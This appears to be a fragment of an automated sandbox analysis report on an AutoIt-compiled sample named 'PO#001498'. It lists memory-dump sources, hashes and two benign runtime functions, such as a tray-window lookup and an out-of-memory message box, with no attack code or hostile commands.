                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FindMessagePostSleepWindow
                                                                                                                                                                                                        • String ID: Shell_TrayWnd
                                                                                                                                                                                                        • API String ID: 529655941-2988720461
                                                                                                                                                                                                        • Opcode ID: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
                                                                                                                                                                                                        • Instruction ID: d1e5b9be119239975405e397b0c0efdc35250005003305bf123d4268f2ecb06f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4DD05E72B813013BE92076706D0FF8B26246B14710F010C2AB205AA1C0D4E8A4408358
                                                                                                                                                                                                        Function 00439514 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00439522
                                                                                                                                                                                                          • Part of subcall function 00411A1F: _doexit.LIBCMT ref: 00411A2B
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Message_doexit
                                                                                                                                                                                                        • String ID: AutoIt$Error allocating memory.
                                                                                                                                                                                                        • API String ID: 1993061046-4017498283
                                                                                                                                                                                                        • Opcode ID: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
                                                                                                                                                                                                        • Instruction ID: 5d68346425d2699d55792fe39b85c2381918ba1f955abba655776c5540820644
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 82B092343C038627E20437A01C0BF8C28049B64F42F220C2AB308384D259D90080231E